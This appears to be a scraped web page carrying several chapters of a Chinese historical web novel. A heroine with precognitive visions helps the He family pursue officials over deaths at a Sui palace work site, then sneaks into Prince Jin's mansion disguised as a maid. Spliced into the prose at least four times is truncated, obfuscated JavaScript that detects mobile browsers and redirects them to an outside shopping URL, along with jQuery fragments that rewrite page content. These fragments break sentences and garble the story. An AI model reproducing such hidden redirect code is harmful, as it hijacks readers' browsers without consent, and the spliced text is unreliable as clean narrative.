“贺将军,”他再直起身时,眼白布满血丝,声音压得极低,却字字清晰,“今日骊山脚下,李某所见所闻……心中实难平静。只盼将军……他日若闻相关之事,于公于私,能……能记得今日风景。” 他说完,不再多留,甚至未等贺璟回应,便转身从怀里摸出几文钱放桌上,对煮茶老翁胡乱一点头,径直走向他那匹拴在旁边的瘦马,解缰,翻身上马,动作带着压抑的急促。 马蹄声响起,他向着长安城方向而去,背影挺直,却透着孤注一掷的决绝。 这世道,想当个好人真不容易。 回到贺府,已是深夜。 骊山的风尘和那碗冷茶的涩味还黏在喉咙里,心里堵得慌,我径直往贺璟书房去。 穿过连接内院与客院的回廊时,迎面碰上了阿福。 他身后跟着一个妇人。约莫三十多岁,脸色蜡黄,双眼红肿得吓人,眼神却空洞得像是被抽走了魂。身上粗布衣服打着补丁,但洗得干干净净,头发也勉强梳了个髻。她两手空空,只是无意识地、紧紧交握在身前,指节捏得死白。 最刺眼的是,她腕子上系着条褪色发毛的红绳,绳上拴着块被摩挲得发亮的小木牌。 我目光落在那块小木牌上,心头猛地一撞。 那块小木牌我认得,是‘贺家军’的旧制腰牌。 贺伯伯说过,当年跟着他冲杀过长江的儿郎,每人都有这么一块。木料普通,刻着姓名和编号,边角会在年深日久的摩挲中变得圆润。活下来的人,有的升了官换了更体面的身份牌,有的将这块旧牌仔细收好,留给子孙做个念想。 它不该,这样突兀地、孤零零地拴在一个妇人空荡荡的手腕上。 阿福见我停下,神色沉重地低声道:“小姐。” 他侧身,对那妇人说:“周家嫂子,这位是府里的小姐。” 妇人抬起红肿空洞的眼,惶惑又麻木地望向我。她嘴唇动了动,像是想扯出个礼数的弧度,却只露出一个比哭还难看的僵硬表情,随即又垂下眼,盯着自己那双空握的手。 “阿福,这是……?”我听见自己的声音有点发紧。 阿福深吸一口气,声音压得很低:“属下按吩咐,去永平坊给几户最困苦的送钱。到了周家,才发现……是老爷当年麾下周大有校尉的遗孀。周校尉战死后,朝廷恤典,他妻儿得以留在长安居住。周家嫂子独自拉扯儿子周栓子,今年刚满十六……” 他顿了顿,喉结滚动了一下,才继续道,每个字都像从牙缝里挤出来: “三个月前,温泉宫征夫,坊正带人硬把栓子拉走了。五天前,同被征去的一个乡邻逃回来,说……说栓子抬石料时摔下了山崖,人当场就没了。工头嫌晦气,直接让人把尸首扔后山沟里……” 我脑子里“嗡”的一声。 周大有。 这个名字我有印象。 贺伯伯偶尔提起平陈旧事,总会说到那个憨厚勇猛、为护他突围而死在乱箭下的周校尉。他说过,周校尉的遗孀性子要强,领了抚恤带着儿子在长安赁屋居住,从不肯多受照顾。 他的儿子…… 十六岁。 温泉宫。 尸骨无存。 预警里的一切,贺伯伯的愤怒、太子声泪俱下的反咬、陛下那句冰冷的“攀诬储君”、还有最后那令人窒息的软禁,在此刻都有了最残忍、最具体的面目。 这不是简单的贪腐工程。 这是在吸烈士遗孤的血,是往万千将士心里扎刀子! “贺伯伯……已经知道了?”我问,声音有些发干。 “知道了。”阿福点头,神色沉重,“周家嫂子今日鼓起勇气,本想直接来府前求告,正巧被属下遇上,就先带进来了。老爷见了……什么也没说,只让先安顿在客院,一切用度按亲戚份例。” 我侧身,看着阿福引着周嫂子走向收拾出来的客房。那妇人脚步虚浮,背却挺得很直,只有那攥着木牌的手臂,绷得像石头。 廊下只剩我一人。 夜风吹过,我打了个寒颤。 如果……如果我没有提议去“取”那笔不义之财,没有让阿福去“布施”…… 周家嫂子会鼓起勇气独自闯到贺府门前吗? 贺伯伯会这么早、这么直接地得知如此血淋淋的真相吗? 我不知道。 但一种清晰的、带着寒意的事实摆在我面前:我那些自以为“主动”的举动,去骊山、偷钱、布施,像一连串无意中推倒的多米诺骨牌,正让某些事情以更激烈、更无法挽回的方式加速发生。 迷茫和寒意只笼罩了我一瞬。 随即,更强烈的情绪顶了上来,不能乱,更不能怕。 事情已经被推到了这一步,血仇已摆在眼前,贺伯伯的怒火已被点燃。现在不是纠结“如果”的时候,是怎么在太子党磨好刀之前,把真正的屠刀先握在我们手里! 我转过身,不再犹豫,快步朝贺璟的书房走去。 得马上找到他。 周家母子是活生生的证据,是引线,也是软肋。我们必须立刻商量,下一步到底该怎么走。 书房里,灯烛明亮。 贺若弼背对着门,站在那张巨大的北境舆图前,背影绷得像拉满的弓弦。可他那只攥紧的拳头,指节捏得发白,微微颤抖。 那是怒火,快要压不住的怒火。 我和贺璟交换了个眼神。刚才在门外那几句急促的交谈,意思已经明确:这事,绝不能由老贺亲自冲到最前面。 预警画面太清楚了。金銮殿上,陛下那句“回府思过”……光是想想就脊背发凉。 现在最关键的是,要让他把处理这件事的主动权,交到我们手上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125717|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“……尸骨无存。”贺若弼缓缓吐出这四个字,声音沙哑得厉害,“周大有,跟了我十二年。建康城外,肠子流出来还用手捂着,冲我喊‘将军快走’……我答应过他,只要我还有一口气在,他妻儿,我护着。” 他猛地转过身,眼眶赤红,不是泪水,是烧到极致的愤怒:“他儿子!才十六岁!被那帮混账拉去修什么汤泉宫!死了!像扔块破布一样扔在山沟里喂狼?!” “砰!” 拳头重重砸在紫檀木桌面上,笔架砚台齐齐一震。 “元淹!他眼里还有没有王法!” 贺璟等父亲这阵怒意稍平,才沉声开口:“父亲,此事已不止是贪墨。周校尉遗孤遇害,仅是冰山一角。儿子今日在骊山亲眼所见,民夫活得比牲口不如。元淹一伙侵吞的不只是钱粮,是一条条人命。” 贺若弼胸膛起伏,目光如电射向贺璟:“你想说什么?” 贺璟迎着他的目光,上前一步,撩袍,单膝跪地。 这一跪,让贺若弼神色微顿。 “父亲,”贺璟抬起头,眼神清明坚定,“儿子长大了,这些年随军历练,也见过些世面。有些仗,不只在沙场。” 他声音沉稳,字字清晰: “元淹是太子的人,此事涉及东宫,极为敏感。父亲若亲自出面弹劾,他们绝不会坐以待毙。他们最可能的反击,便是反咬一口,说父亲动用军中旧部关系,搜罗这些‘证据’,并非为了公道,而是想攀诬储君,甚至……意在离间陛下与太子的父子情分。” 我适时接话,声音放轻但带着急切:“贺伯伯,您想,太子若真这么说,陛下会怎么想?陛下近年来对关陇、对东宫的态度本就微妙,最忌讳的,便是武将拉帮结派、卷入天家之事。届时,元淹罪责再大,可陛下心中一旦存了疑虑,您……” 我适时停住,未尽之言里的凶险,不言而喻。 贺若弼脸上的怒色凝住了,瞳孔微缩。 他性子刚直,却并非不懂朝堂。我那话,正戳中他心底某个隐约不安、却不愿深想的角落。 贺璟趁势继续:“让儿子出面则不同。儿子年轻,可说是路见不平,是替军中同袍遗孤出头。就算言辞激烈些,陛下至多斥一句‘年少轻狂’,却不会上升到‘武将结党’的层面。待我们拿到铁证,父亲再在朝中适时声援,方为稳妥。” 贺若弼死死盯着贺璟,又缓缓看向我,目光在我二人之间来回审视。 他面上肌肉微颤,那是愤怒、不甘、担忧,以及被现实一点点说服的挣扎。 他当然想亲手为周大有报仇,想亲手将元淹那伙人绳之以法。可他比谁都清楚,龙椅之侧,最忌握兵的臣子锋芒太露,尤其是他这样位高权重的老将。 时间缓慢流逝。 终于,他极其缓慢、极其沉重地闭了闭眼,喉结滚动。再睁眼时,眼底那团怒焰仍在,却被一层更深的疲惫与决断压下。 “……你打算如何行事?”他问贺璟,声音沙哑。 贺璟精神一振:“分两步走。第一,护好周家嫂子,她是活证,也是鱼饵。对方知她入府,必会设法灭口或构陷。我们需将她妥善安置,外松内紧,引蛇出洞。” “第二,连夜赶往骊山,寻找更多人证物证。元淹做下这等丧尽天良之事,绝不止害了周栓子一人。工地民夫、附近村民,总有人目睹耳闻,心中憋着怨愤。找到他们,拿到铁证,拧成一股。届时,就算太子想保元淹,面对如山铁证与沸腾民怨,陛下也绝难轻纵。” 贺若弼又沉默片刻,目光再次落在我们身上,带着审视,也带着某种复杂的、近乎托付的意味。 最终,他长长吐出一口浊气,那气息仿佛将他挺直的脊背也吹得微松。 他上前一步,伸手抓住贺璟手臂,用力将他扶起。那手劲很大,捏得贺璟臂膀肌肉绷紧,可那力道里,是实实在在的托付。 “好。”他只说一字,嗓音暗哑,其中百味杂陈,“此事,你放手去做。府中人手,随你调动。需要为父在朝中如何策应,随时告知。” 他顿了顿,目光灼灼,钉在贺璟脸上:“务必记住,既要果决,亦需谨慎。该护之人,毫发不能损;该取之证,分毫不能失。至于那些宵小之辈……” 贺璟接口,声冷如刃:“儿子明白。” 父子目光在空中重重一撞,无需多言。 一份沉重的、关乎家族前路的担子,就在这寥寥数语与一眼对视中,移交了。 贺若弼摆了摆手,背影透出些许疲惫:“去吧,仔细筹划。我……静一静。” 我与贺璟退出书房,轻轻掩门。 18. 夜探晋王府 我们的动作很快。 从老贺书房退出来,贺璟立刻点了最机灵的亲兵,连夜飞马出城。 天刚蒙蒙亮,我们就赶到了羊角沟,周嫂子所在的村子。 可还是晚了。 羊角沟静得瘆人。 我和贺璟站在村口,晨风穿过那些空荡荡的门窗,发出呜呜的怪响。门板上新鲜的刀斧痕还在,墙上的血迹也没干透,就是半个活人影都看不见。 刚在贺伯伯面前拍胸脯保证的话音还在耳边飘呢,现实就给我们来了个结结实实的大嘴巴子。 “这是……被端干净了?”我听见自己声音有点发干。 贺璟脸色沉得能滴出水:“灭口,或者转移。李纲白天在骊山闹那一出,周嫂子进府……足够让他们警觉了。” 我盯着那些被暴力破开的门板,脑子里那点侥幸彻底凉透。 不行。 绝对不行。 贺伯伯好容易答应放手让我们来办,要是第一步就扑个空,他肯定得自己撸袖子下场,那我预见的那些画面,不就又得应验了吗? 试试。 就现在! “让我……感应一下。”我忽然开口。 贺璟转头看我,眉头拧成疙瘩:“感应?” “嗯。”我迎着他的目光,“就是上次……,在书房,你见过的那次,我要试试,看能不能找到点线索。” 我转身走向最近那间破屋。 是村西头最惨的一户,土墙塌了半边,门板歪斜地挂着,上面刀砍的痕迹深得吓人。屋里像被洗劫过,陶罐碎片溅得到处都是,几件补丁叠补丁的破衣服被扯烂扔在墙角。 这地方,昨晚肯定发生过激烈的挣扎。 我站在这片狼藉中间,闭上眼,深吸一口气。 启动主动预知,去接触残留痕迹。 掌心贴上炕沿那块被磨得发亮的木头。 冰凉,粗糙。 然后,破碎的片段涌了进来。 火把的光在窗外乱晃。 “砰!砰!”粗暴的踹门声。 女人的尖叫,孩子的哭嚎。 “快!都绑起来!” “那个跟周栓子一起逃回来的小子呢?!” 画面跳得厉害。我“看见”村民们被反绑双手,像牲口一样被拖出屋子。有人挣扎,立刻被棍子狠狠砸倒。 头疼开始发作,像有针在扎太阳穴。 但我咬牙撑着,拼命想抓住更多信息。 最后的画面晃过村口。 几个黑衣打手正在清点人数。领头的是个瘦高个,侧脸在火把光里显得阴鸷。 他气急败坏地踹了一脚地上的土:“妈的!让那小子跑了!周栓子那个同乡,翻后墙跑的!” 瘦高个骂了句脏话,紧追出去。 画面跳转,逃出来的男孩被拽上一辆青篷马车。马车在街巷疾驰,最终停在一座府邸侧门。门楣上,匾额在昏暗天光下格外清晰。上面写的是—— “晋王府。” 画面到这里开始剧烈晃动,眼前发黑,恶心想吐。 我知道到极限了。 “晋……王府……” 我拼尽全力挤出这三个字,眼前彻底一黑,身体软软向后倒去。 意识的最后是贺璟略带惊慌的喊声和接住我的手臂。 再睁开眼时,头疼得像要炸开。 我费力地转了转眼珠,看见熟悉的帐顶。 得,又回自己床上了。 窗外透进来的光线已经是午后那种懒洋洋的暖黄色。 晕过去这事,一回生二回熟,我现在都习惯了。 试着动了下手指,才发现右手被人攥着。 偏过头,贺璟坐在床边的矮凳上,背挺得笔直,但头低着,眼睛闭着,眉头却还蹙着。 外袍上还沾着土,应该是一直在这守着我。 然后我感觉到,我的手是被握住的。 他的手掌很大,掌心温热,但虎口和指节有粗糙的硬茧。我的手指被他整个裹在手里,握得不算紧,但很稳。 我脑子懵了一下,下意识想抽回来,但才微微一动,他几乎是立刻醒了,猛地抬头,眼底还带着刚醒的迷茫,直到对上我的视线,才骤然清明。 “醒了?”他声音有些哑,松开手,起身去桌边倒了杯温水,小心地扶我坐起来,“喝点。” “……嗯。”我的指尖残留着他掌心的温度,有点不自在。 温水滑过喉咙,舒服多了。我喝了几口,摇摇头。 贺璟把杯子放回去,重新坐下,看着我:“你晕了四个时辰。从羊角沟到回来,一直没醒。大夫来看过,说是心神耗损过度。” 他顿了顿,眼神复杂:“这就是……你主动‘感应’的代价?” “嗯。”我靠着枕头,“可能最近用得有点勤,加上这几天老熬夜,身体不太好。” 不过按贺璟刚才说,刚睡足了八小时,这觉应该也是补够了。 贺璟沉默了一会儿,才说:“你看到了什么?” “太子的人屠村灭口,但有个关键证人跑了,就是跟周栓子一起逃回来的那个同乡。”我整理着脑中的画面,“他是被晋王的人救走了,还带进了晋王府。” “晋王?”贺璟皱了皱眉,“他怎么会搅进骊山的事?还正巧……救了人?” 我也在心里重重叹了口气。 谁说不是呢? 怎么哪儿哪儿都有他? “你想,太子要是因为这事儿栽了,最得利的是谁?”我尽量让语气听起来客观,但心底那股无名火还是往上窜,“晋王回京也有些日子了,你不会以为他真是来长安赏月的吧?” 贺璟沉默了片刻。 我知道,贺家向来不沾党争,父亲更是嘱咐过要远离这些。眼下虽是为了救人,但主动去碰皇子间的争斗,还是让他本能地觉得不妥,眉头皱得更紧。 “眼下看,”他开口,语气有些沉,“我们和晋王,目的似乎不冲突。他要对付太子,我们要救父亲。”他顿了顿,抬眼看向我,“或许……能借上力?” “借力?”我立刻摇头,“阿兄,问题是我们根本不知道他想怎么用这个人。” 我凑近些,声音压得低了些:“他是打算明天就捅到陛下面前,往死里整太子?还是先捂着,等关键时刻再拿出来?甚至……”我舔了舔有些发干的嘴唇,说出最让我不安的猜测,“最坏的可能,他万一拿这个人,去跟太子私下做了什么交易,怎么办?比如,太子许他别的好处,他就把这孩子的事抹了?” 那可是杨广。 为了上位能装十几年孝子贤孙的人,有什么是他干不出来的? 贺璟的脸色明显沉了下去,下颌线绷得死紧。这可能性显然也击中了他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131409|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还有更要命的,”我抢在他前面开口,语速快了起来,带着烦躁,“就算我们想找他,怎么说?闯进去问,‘晋王殿下,您是不是藏了个从骊山逃出来的孩子?’他肯定反问,‘你怎么知道?’” 我摊手,一脸“这题无解”的表情:“我们怎么答?说我们派人日夜盯着晋王府?还是说我能未卜先知?这不就等于明晃晃告诉他,我们不仅知道他的秘密,还看穿了他的打算?到时候,就不是我们找他商量了,是得求着他,别把我们也当成障碍清理了。” “而且,我们的时间不多了……” 我咽下了后半句,根本没空等杨广慢慢琢磨他的棋该怎么下了。 贺璟的眼神沉了沉,他听懂了。 “所以,”我撑着身体坐直,“我得去晋王府看看,至少先确认人还在不在,是不是还安全。如果能探到一点口风,知道晋王到底怎么想的,我们才能决定下一步怎么办。” “我去。”贺璟想也不想,脱口而出。 “你不能去。”我按住他,语气斩钉截铁,“你一个正五品的左翊卫中郎将,贺将军的独子,夜探亲王府?一旦被人发现,你想过后果吗?‘窥伺亲藩、意图不轨’,这罪名够不够抄家的?” 贺璟被我堵得说不出话,但眼神里是不加掩饰的抗拒和担忧。 “可你……” “我?”我抓了抓头发,烦躁得想撞墙。 宫宴上才被他用那种眼神盯过,现在就要自己往他跟前送? 因为那倒霉催的未来,我当然恨不得离他越远越好。 可我能怎么办? 贺璟去,一旦被发现,就是政治重罪,贺家全完。 我去,至少……还能找个扯淡的理由糊弄过去。 “我是女子,”我尽量让自己声音听起来冷静,“就算被当场抓住,我也有个勉强能圆的说法。” 贺璟抬眼:“什么说法?” 我咬了咬牙,硬着头皮说:“就说……我鬼迷心窍,对晋王殿下生了不该有的心思,想偷偷看他一眼。” 这话说出来我自己都觉得荒唐,可眼下,这大概是最不涉及朝堂争斗、最像个“无知少女”能干的蠢事的借口了。 贺璟显然也被我这出阁的言论惊到了,他看了我半天,眼睛都瞪大了,沉默了许久才开口:“这个理由……太牵强,也太冒险。万一他不信,或者借题发挥……” “那你有更好的办法吗?”我迎着他的目光,声音很轻,但很清晰,“有能让我们都不去、又能救贺伯伯的法子吗?我们只有七天,阿兄,只有七天了。” 贺璟沉默了。 他放在膝上的手缓缓收拢,指节微微泛白,但脸上没有什么激烈的表情,只是眉头锁得很紧,眼神沉得厉害。 我看着他抿紧的唇线和紧绷的下颌,知道他正在飞快地权衡,夜探亲王府的风险、我那个荒唐借口的可行性、还有那迫在眉睫的七天。 “好了,别想了。”我打断了他可能出口的劝阻,站起身,语气尽量放得轻松,“就这样吧,我去。再想下去,天都要亮了。” 他张了张嘴,像是还想说什么,但最终只是沉沉地点了下头。 “……亥时前,必须出来。”他重复道,每个字都咬得很重,“我会带人在外面接应。有变故,以哨声为号。” “嗯。”我点头,心里那点不情愿,被这份沉甸甸的责任压了下去。 19. 流水线女工 晋王府的后巷比我想象中安静。 青灰色的高墙在夜色里延伸,只有几处角门透出零星灯火。 我伏在暗处观察了片刻,瞅准一个送柴的老汉拉着空板车从侧门出来的空档,趁护卫低头核验对牌的工夫,像只猫一样贴着墙根溜了进去。 门内是条窄巷,堆着些杂物。我迅速躲到一堆麻袋后,平复了一下呼吸,开始打量。 府邸内部并不奢华,甚至有些过于简朴。 青石铺路,房屋规整,但没什么精巧装饰,廊下挂着的气死风灯也是普通的白纸罩子。空气里有股淡淡的、类似松木和旧书卷的味道。 眼下最重要的是找到那个孩子。 能被晋王藏起来的人证,绝不会放在外院。我屏息凝神,借着阴影和廊柱的掩护,向内院摸去。 越往里走,院落渐深,树木也多了起来。我正躲在一座假山后观察路径,忽然听见细碎的脚步声由远及近。 一个穿着浅绿色比甲、梳着双环髻的小丫鬟,提着一盏小小的绢灯,正朝这边走来,嘴里还轻轻哼着小调,似乎心情不错。 机会! 我等她走到假山背面光线最暗处,猛地出手,一手捂住她的嘴,另一只手在她颈后某处不轻不重地一按。 小丫鬟闷哼一声,身体软了下去。 对不住了,姐妹。 我默念一句,迅速将她拖到假山更深的凹陷处,飞快地与她互换了外衣和比甲,又把自己的头发拆散,草草梳成与她相似的双环髻。想了想,又从地上抹了点湿泥,在脸颊和额角随意蹭了蹭。 做完这一切,我提起她那盏绢灯,深吸一口气,低着头,步履如常地走了出去。 扮成府里的丫鬟,行动果然方便了许多。 偶尔遇到巡逻的护卫或匆匆走过的仆役,见我提着灯、低着头,也只当是寻常办事的侍女,并不多问。 我绕了几处回廊,穿过一个月洞门,来到一处相对僻静的院落附近。这里树木掩映,只有一间厢房亮着昏黄的灯光。 厢房门口守着两个护院,都穿着晋王府统一的深青色府兵服,但没佩甲,腰间只挂了短棍。一个年纪稍长,约莫三十出头,正抱着胳膊靠门框打哈欠;另一个年轻些,蹲在地上拿根草棍逗蚂蚁玩。 “你说里头那小子……”年轻的护院压低声音,“真是从太子手底下逃出来的?” “嘘——”年长的立刻竖起手指,“别瞎打听。” “我就问问嘛。听说跟骊山修宫殿那事儿有关?” “知道还问?嫌命长?”年长的瞪了他一眼。 两人不说话了。 我心里却是一震,找到了!人就在里面! 正想着如何能更靠近些,或者探听点别的消息,身后忽然传来脚步声和一声轻唤。 “那边的,站住。” 我头皮一麻,慢慢转过身。 一个穿着体面管事服色、留着三缕长须的中年人正看着我,眉头微皱:“你是哪个院子的?怎么跑到这儿来了?” 我赶紧低下头,捏着嗓子,让声音听起来细弱惶恐:“回、回管事,奴婢……奴婢是刚调来不久,在……在绣房做活的。方才走得急,好像迷了路……” 刘管事上下打量了我几眼,大概是看我穿着府里丫鬟的衣服,提着灯,脸上还脏兮兮的,神色稍缓,但随即又露出点烦躁:“真是……一个个都不省心。青穗那丫头也不知道跑哪儿去了,殿下那边等着伺候沐浴呢!” 他目光在我身上又扫了一圈,大概是实在找不到人,便挥了挥手:“算了,就你吧。赶紧跟我来,去殿下浴房伺候。手脚利索点,别出错!” 伺候晋王……沐浴?! 我脑子里“嗡”的一声,瞬间空白,脚像钉在了地上。 这什么展开啊? 沐浴??? ……真是见了鬼了!这么大的晋王府,那么多丫鬟,怎么就偏偏逮着我了?! 咋办? 不去?立刻就会引起怀疑,甚至可能被盘问身份。 去? “愣着干什么?还不快跟上!”刘管事已经转身走了几步,见我没动,不耐烦地回头催促。 我捏紧了手里的绢灯,指尖冰凉。 没有选择。 我深吸一口气,把头垂得更低,用细若蚊蚋的声音应道:“……是。” 然后,迈着仿佛灌了铅的腿,跟上了前面那个背影。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132171|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我提着那盏越来越觉得烫手的绢灯,跟在刘管事身后,穿过几道回廊。 浴房并不在主人寝殿内,而是单独的一处轩敞屋子。还没走近,已能感受到蒸腾出来的温热湿气,混杂着淡淡的草药与檀木香气。 刘管事在门口停下,对我,也是对门口另外两个垂手侍立的侍女吩咐:“进去吧,手脚都轻些。” 我低着头,混在侍女中间,迈过那道高高的门槛。 里面灯火通明,比外头暖和许多。 正中是一个巨大的、足够容纳数人的柏木浴桶,桶身雕刻着简单的云纹,热气正从桶中袅袅升起。四壁挂着素色帷幔,地上铺着厚厚的蒲席。 而杨广,就坐在浴桶不远处的书案后。 他穿了一身宽松的月白色常服,未束冠,墨发仅用一根简单的乌木簪子松松绾着。手里执着一卷书,正垂眸看着,侧脸被烛光镀上一层温润的光晕,神色平静专注,仿佛周遭添水布巾的细微声响全然不存在。 我们几个丫鬟像流水线上的工人,默不作声地开始干活。有人试水温,有人往桶中添加备好的香草药包,有人捧着柔软的布巾和干净的寝衣侍立一旁。 我的任务是和另一个侍女一起,将旁边铜炉上一直温着的热水,用木勺舀进浴桶。水声哗啦,蒸汽氤氲。 我全程低着头,恨不得把脸埋进胸口,只凭着余光机械地动作。 舀水,倒水,再舀,再倒。心里疯狂祈祷:快点,快点,水满了我就赶紧跟着溜出去。 桶里的水面渐渐升高。 就在我觉得差不多、刚放下木勺,准备悄然后退,跟着前面侍女的步子往外撤时,书案后,传来书本合上的轻响。 “本王今日有些乏了。” 杨广的声音不高,带着一丝慵懒,在寂静的室内却清晰无比。 我脚步一顿,突然有种不祥的预感。 “留一个,伺候本王沐浴吧。” 他说得随意,仿佛只是随口一提。 然后,那只执书卷的手,轻轻抬起,指尖在空中顿了顿。 接着,不偏不倚,朝着我的方向,虚虚一点。 “就你。” 我:“……???” 20. 伺候沐浴 我脑子“嗡”的一声,整个人都僵住了。 不是,这么多人,怎么就点中我了?! 我猜我脸上的表情大概已经裂开了,活像那个著名的“地铁老人看手机”表情包。充满了难以置信、荒谬,以及“这什么情况?!”的懵逼。 还是说……他认出我了?这个念头让我脊背一凉。 我猛地抬眼,飞快地朝他瞥去。 烛光下,他依旧保持着原来的姿势,甚至微微侧着头,目光似乎还落在方才合拢的书卷上,眉目舒展,神情淡然,仿佛刚才那随手一指,真的只是随意一指,根本不在意留下的是谁,更没兴趣去分辨那张低着头的脸。 ……真是胡乱指的? 我心头那根绷紧的弦,稍稍一松,随即又被更大的荒谬感攥住:这什么运气?! 其他侍女似乎早已习惯,安静而迅速地屈膝行礼,然后依次退出,还顺手带上了门。 “吱呀——” 门扉合拢的声音,像一道闸,把我单独关在了这间温暖得让人发慌、弥漫着水汽和松木香气的屋子里。 浴房里只剩下我和他。 还有一桶越来越显得滚烫的热水。 “替本王宽衣。” 他的声音再次响起,依旧平静,听不出什么情绪,仿佛只是在陈述一件再平常不过的事。 我再度:“???” 不是,你自己没长手吗?!皇子了不起啊衣服都得别人脱?! 心里骂骂咧咧,脚却像有自己的意志,老老实实挪了过去。 离得近了,能闻到他身上那股更清晰的、清冽的松木气息,混杂着一点书墨的冷香。 玉带扣得精巧,我指尖发凉,摸索了好几下才找到机括,“咔嗒”一声轻响解开。深青色外袍顺着他挺直的肩线滑落,露出里面雪白的中衣。 料子真好,白得晃眼,在烛光下泛着柔润的光泽。 “继续。” 我深吸一口气,淡定,萧锦!你什么场面没见过?上辈子偷看的腹肌男照片还少吗?怕这个? 手伸向他中衣的系带时,指尖还是没出息地抖了一下。 死手!争点气!快解啊! 系带是丝质的,滑溜溜的在指尖打转。我绕到他身前,笨手笨脚地去解那个活结。从这个角度,能看见他线条清晰的下颌,和微微垂落的眼睫。 从前往后,中衣顺着肩线无声滑落。 大片紧实匀称的胸膛猝不及防撞进视线。 我的目光像被烫到似的立刻挪开,却还是在那极短的一瞬间,瞥见了他左胸口靠近心脏的地方。 一道很淡的疤。 颜色浅得几乎和肤色融为一体,形状并不狰狞,像是很久以前留下的,被岁月抚平了棱角,只留下一道极细微的、比周围肤色略浅的痕迹。 咋的?这养尊处优的晋王殿下,还真挨过刀? 我还在寻思着。 “裤子。” 两个字,已经轻飘飘落下。 我脑子又“嗡”的一声,全身血液“噌”地冲上天灵盖,脸颊瞬间滚烫。 没完了??? 裤子也让人脱?! 古代人是不是都有病?!暴露癖吗?! 左脑:冷静!他是皇子!这是正常的,忍!小不忍则乱大谋! 右脑:忍个屁!这能忍?揍他! 左脑:啊?直接揍吗? 右脑:对!打晕了跑! 一瞬间,恶向胆边生。 我猛地并起右手两指,用尽这五年被老贺摔打、被贺璟“指点”攒下的所有力气和巧劲,闪电般朝他后颈某处穴位猛劈过去! 预想中的闷哼和软倒并未发生。 他甚至没有回头。 只是肩膀极其随意地、微妙地向侧面偏转了一个几乎难以察觉的角度。 我劈了个空。 我立刻变招,一手戳他腰侧软肋,一手反拧想挣脱。 可他的动作快得不合理。 我手腕刚发力就被他一带,劲全散了。另一只手戳过去,“啪”地撞上他小臂,硬得跟铁似的。我提膝撞他腿弯,他步子只错开半寸,我顶了个空,自己反倒往前栽。 “啧。”他几乎是贴着我的耳朵低笑了一声,那笑声从胸腔震出来,带着说不清的意味。 与此同时,他扣着我手腕的那只手骤然加力,不是蛮力,是五指精准地一错一扣,正好掐在腕骨最脆弱的筋络连接处。一阵尖锐的酸麻瞬间窜上我整条胳膊,另一只手腕也不知何时被他如法炮制,牢牢锁住。 ……他会功夫?还这么高? 我这几下连招是实打实在军营里摔打出来的,又快又刁,曾经放倒过好几个老兵油子。可到了他这儿,行云流水般的反击和压制,我甚至能感觉到,他还留有余地。 然后,他扣着我手腕往前一带,我整个人失了平衡,低呼着往前扑,眼看要狼狈的撞上他怀里。 就在鼻尖即将触碰到他皮肤的刹那,他另一只手稳稳地、甚至有些轻描淡写地,扶住了我的腰。 我就这么被他半揽着,勉强站稳,却陷入一个极其尴尬的境地。 进不得,退也不得。 那道颜色浅淡的疤痕就在眼前晃动,他温热的呼吸拂过我头顶,清冽的松木香混杂着更浓郁的、属于男性的气息,无孔不入。 而我两只手腕,还被他死死扣着,这姿势……太要命了。 他低下头,烛光在他眼里跳,嘴角那点笑说不清是什么意味。 “萧姑娘,”他声音压低,带着热气拂过耳朵,“不装了?” 认出我了?! 他从一开始就认出我了?! 刚才宽衣解带、让我伺候沐浴那一出……纯粹是耍我玩呢?! 我的大脑瞬间一片空白,紧接着涌上来的是一股被彻底看穿、被肆意戏耍的羞恼,脸上“腾”地烧了起来,比浴桶里的蒸汽还要烫人。 “功夫不错,可惜……”他顿了顿,目光饶有兴致地扫过我因羞愤而瞪大的眼睛,又往下,在我身上那套并不合身的浅绿色比甲上停留了一瞬,戏谑地说,“本王带兵打仗的时候,你还是个——” 他故意拖长了调子,目光落回我脸上,带着一种近乎恶劣的调侃: “奶娃娃呢。” 他说什么呢? 他看什么呢?! 死眼睛,我挖了你! 那股羞恼瞬间升级为熊熊燃烧的愤怒,我脸颊滚烫,耳朵嗡嗡作响,恨不得现在就给他那张俊朗又欠揍的脸来一拳。 好想打他啊…… 但打不过……这个认知更让人憋屈了。 他的拇指抚上我的脸颊,指腹带着薄茧,有些粗糙。慢条斯理地,擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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杨广看着我脸上无法掩饰的惊愕,笑了。 那笑容不再只是戏谑,而是带着一种掌控一切的、近乎愉悦的从容。 “你太着急了,”他摇摇头,语气里竟似有一丝……惋惜?“也,太沉不住气了。” 